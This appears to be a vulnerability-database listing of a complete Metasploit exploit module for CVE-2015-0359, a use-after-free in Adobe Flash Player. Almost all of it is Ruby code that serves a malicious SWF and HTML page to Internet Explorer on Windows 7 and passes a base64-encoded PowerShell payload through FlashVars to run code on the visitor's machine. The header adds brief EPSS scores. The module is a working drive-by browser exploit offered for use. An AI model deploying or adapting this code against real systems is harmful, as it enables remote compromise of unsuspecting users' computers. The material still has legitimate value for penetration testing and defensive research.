Adobe Flash Player domainMemory ByteArray Use After Free

2015-05-0700:00:00

juan vazquez

packetstormsecurity.com

0.972 High

EPSS

Percentile

99.8%

JSON

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Powershell  
include Msf::Exploit::Remote::BrowserExploitServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Adobe Flash Player domainMemory ByteArray Use After Free',  
'Description' => %q{  
This module exploits a use-after-free vulnerability in Adobe Flash Player. The  
vulnerability occurs when the ByteArray assigned to the current ApplicationDomain  
is freed from an ActionScript worker, when forcing a reallocation by copying more  
contents than the original capacity, but Flash forgets to update the domainMemory  
pointer, leading to a use-after-free situation when the main worker references the  
domainMemory again. This module has been tested successfully on Windows 7 SP1  
(32-bit), IE 8 and IE11 with Flash 17.0.0.134.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'bilou', # Vulnerability discovery according to Flash Advisory  
'Unknown', # Exploit in the wild  
'hdarwin', # @hdarwin89 / public exploit (msf module is based on this one)  
'juan vazquez' # msf module  
],  
'References' =>  
[  
['CVE', '2015-0359'],  
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'],  
['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/angler_ek_exploiting.html'],  
['URL', 'http://malware.dontneedcoffee.com/2015/04/cve-2015-0359-flash-up-to-1700134-and.html'],  
['URL', 'https://git.hacklab.kr/snippets/13'],  
['URL', 'http://pastebin.com/Wj3NViUu']  
],  
'Payload' =>  
{  
'DisableNops' => true  
},  
'Platform' => 'win',  
'BrowserRequirements' =>  
{  
:source => /script|headers/i,  
:os_name => OperatingSystems::Match::WINDOWS_7,  
:ua_name => Msf::HttpClients::IE,  
:flash => lambda { |ver| ver =~ /^17\./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.134') },  
:arch => ARCH_X86  
},  
'Targets' =>  
[  
[ 'Automatic', {} ]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Apr 14 2014',  
'DefaultTarget' => 0))  
end  
  
def exploit  
@swf = create_swf  
super  
end  
  
def on_request_exploit(cli, request, target_info)  
print_status("Request: #{request.uri}")  
  
if request.uri =~ /\.swf$/  
print_status('Sending SWF...')  
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})  
return  
end  
  
print_status('Sending HTML...')  
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})  
end  
  
def exploit_template(cli, target_info)  
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"  
target_payload = get_payload(cli, target_info)  
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})  
b64_payload = Rex::Text.encode_base64(psh_payload)  
  
html_template = %Q|<html>  
<body>  
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />  
<param name="movie" value="<%=swf_random%>" />  
<param name="allowScriptAccess" value="always" />  
<param name="FlashVars" value="sh=<%=b64_payload%>" />  
<param name="Play" value="true" />  
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>  
</object>  
</body>  
</html>  
|  
  
return html_template, binding()  
end  
  
def create_swf  
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0359', 'msf.swf')  
swf = ::File.open(path, 'rb') { |f| swf = f.read }  
  
swf  
end  
  
end  
`